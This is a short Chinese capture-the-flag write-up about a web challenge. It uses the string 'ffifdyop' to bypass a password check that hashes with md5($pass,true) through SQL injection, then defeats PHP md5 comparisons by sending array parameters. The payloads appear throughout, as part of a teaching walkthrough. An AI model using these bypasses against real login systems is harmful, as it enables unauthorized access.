页面上就一搜索框,无论提交什么都没回显,f12查看响应头有提示
select * from ‘admin’ where password=md5($pass,true)
提示了后台查询语句
查看一下md5()函数的true参数
和默认的输出不一样,百度一下MD5()true参数漏洞,发现可以找到
ffifdyop
字符串会造成漏洞
·在本地环境试验ffifdyop
,输出的开头是'or'6xxxxxx
在数据库语句里就构成了select * from ‘admin’ where password= ''or’6xxxxxx ’ 相当于 password= ‘’ or 1 变成永真试
在bp输入ffifdyop回显是这样的,直接在输入框里直接输入就会直接跳到/levels91.php页面
跳转后查看源码
<!--
$a = $GET['a'];
$b = $_GET['b'];
if($a != $b && md5($a) == md5($b)){
// wow, glzjin wants a girl friend.
-->
可以用结果等于0exxxxxx的字符串,也可以使用数组
a[]=1&b[]=2
<?php
error_reporting(0);
include "flag.php";
highlight_file(__FILE__);
if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
echo $flag;
}
使用数组
param1[]=1¶m2[]=2